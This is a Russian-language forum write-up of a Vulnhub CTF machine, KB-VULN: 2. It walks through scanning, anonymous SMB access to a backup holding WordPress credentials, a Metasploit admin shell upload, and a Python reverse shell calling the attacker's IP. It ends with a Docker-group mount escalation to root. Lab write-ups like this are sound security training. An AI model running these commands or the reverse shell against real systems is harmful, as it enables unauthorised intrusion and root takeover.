HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Этичный хакинг или пентестинг > Задания/Квесты/CTF/Конкурсы
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 03.12.2021, 16:24
INPC
Новичок
Регистрация: 21.08.2019
Сообщений: 0
С нами: 3543417

Репутация: 0
По умолчанию

Приветствую!

Это продолжение прохождения серии коробок с Vulnhub - KB-VULN. Прохождение предыдущей машины можно посмотреть тут.

В данной статье представлено прохождение машины KB-VULN: 2 ( Найти и скачать коробку можно тут KB-VULN: 2 ).

Исходные данные:
Имеется атакуемая машина под управлением Ubuntu linux, на которой есть 2 флага user.txt и flag.txt.
Машина, с которой проводится атака с ОС Kali Linux.
Задача: получить 2 флага с целевой машины и права пользователя root.

Итак, как обычно, ищем атакуемую машину в сети:

Код:
~$ sudo netdiscover
У меня в сети ip целевой машины = 192.168.3.133.
И просканировав её nmap'ом, видим, что открыты порты для 3-х сервисов:

Код:
~$ nmap -A -p- -v 192.168.3.120


А именно: 21 порт с ftp, 22 порт - ssh, 80 порт - http и самба (139, 445 порты).
Для начала следует посмотреть в самбу, вдруг там есть что-то с открытым доступом:

Код:
~$ smbmap -H 192.168.3.133


Видим, что каталог Anonymous доступен для чтения, без авторизации, посмотрим, что в нем (пароль оставляем пустым, просто жмем ENTER):

Код:
~$ smbclient //192.168.3.133/Anonymous


После подключения, видно что в каталоге есть всего 1 файл - архив backup.zip, стягиваем его на основную машину и посмотрим, что же внутри.
Распаковав архив видно, что внутри есть логин и пароль:



Судя по всему, это учетные данные от админки сайта, но пока оставим их и посмотрим, что интересного есть на сайте:

Код:
~$ sudo dirsearch -u 'http://192.168.3.133' -e js,htm,php,bak,html,txt,jpg,png,jpeg -w /usr/share/dirb/wordlists/big.txt -r -f


Тут сразу видно директорию /wordpress.
Догадка подтвердилась, в бэкапе были данные для авторизации, но прежде, чем лезть в форму авторизации, нужно чуть-чуть подправить файл hosts:

Код:
~$ sudo echo "192.168.3.133 kb.vuln" >> /etc/hosts
И теперь, перейдя на веб-сайт (http://kb.vuln/wordpress) видим корректно работающую форму авторизации:



Учетные данные, найденные ранее подходят. Теперь есть несколько путей залить шелл на сервер - уязвимые плагины, замена файла 404.php, в темах (однако в данном случае это не работает, заливать придется через ftp) и др.

Я буду использовать один из эксплоитов в metasploit, для wordpress, который требует авторизации:

Код:
~$ msfconsole
msf6 > use exploit/unix/webapp/wp_admin_shell_upload
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set rhosts 192.168.3.133
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set username admin
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set password MachineBoy141
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set targeturi /wordpress
msf6 exploit(unix/webapp/wp_admin_shell_upload) > exploit


Вот мы и внутри, самое время пойти и забрать заслуженный первый флаг:

Код:
meterpreter > cd /home/kbadmin
Код:
meterpreter > cat user.txt
03bf4d20dac5644c75e69e40bad48db0



Еще мне захотелось чуток улучшить шелл, закинув на сервер python скрипт, открывающий доступ к bash:
Собственно сам rev.py:

Python:


Код:
import
os
,
socket
,
subprocess
s
=
socket
.
socket
(
socket
.
AF_INET
,
socket
.
SOCK_STREAM
)
s
.
connect
(
(
"192.168.3.131"
,
1337
)
)
os
.
dup2
(
s
.
fileno
(
)
,
0
)
os
.
dup2
(
s
.
fileno
(
)
,
1
)
os
.
dup2
(
s
.
fileno
(
)
,
2
)
p
=
subprocess
.
call
(
[
"/bin/bash"
,
"-i"
]
)


На основной машине развернул прослушиватель



И, из метерпретера, запустил rev.py:



Проверка, какие пользователи есть в системе, показала, что, помимо рута, существует только один пользователь, чью домашнюю директорию мы и посещали (kbadmin):

Код:
www-data@kb-server:/home/kbadmin$ cat /etc/passwd


Итак, теперь у нас есть пользовательский флаг, стабильный шелл и имя пользователя. Если честно тут я завис на довольно долгое время, пытаясь получить доступ к учетке юзера kbadmin, пока не додумался, при ввести тот же пароль, что и для админки на сайте (MachineBoy141). И, о чудо, это сработало:

Код:
kali@kali~$ ssh kbadmin@192.168.3.133
Password: MachineBoy141


Ура, теперь наконец можно начать получать рут. Первым делом стоит прочитать содержимое файла note.txt, который лежит в домашней директории пользователя, рядом с флагом:



Подсказка гласит использовать докер. И тут я нова завис, я пробовал идти другими путями, но в конце-концов решил следовать подсказке и перелопатив половину интернета, я наткнулся на замечательную статью, объясняющую, почему следует отказаться от использования группы "docker" и не добавлять в неё кого попало: вот_она и соответствующий гит-репозиторий вот_он. В статье описана уязвимость докера, позволяющая получить root оболочку любому пользователю, который является членом группы "docker", рекомендую статью к прочтению (я вот не знал данной информации и для меня она оказалось очень интересной и полезной). Таким образом, всего одной командой можно получить рут:

Код:
kbadmin@kb-server:~$ docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
Данная команда получает образ Docker, созданный автором приведенной выше статьи, из реестра Docker Hub и запускает его.

Параметр -v, говорит, что мы хотим создать том в экземпляре Docker, а параметры -i и -t переводят докер в режим оболочки, вместо запуска демона.



И в результате мы получаем рут.

Теперь идем и спокойно забираем флаг:

Код:
root@df1a42e8284e:~# cat /root/flag.txt
dc387b4cf1a4143f562dd1bdb3790ff1

С машиной KB-VULN:2 разобрались, так что пора заканчивать. Если кто-то нашел другой способ прохождения данный коробки, пожалуйста поделитесь в комментариях, или в личку, интересно посмотреть.

Спасибо всем, кто дочитал этот врайтап до конца.
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.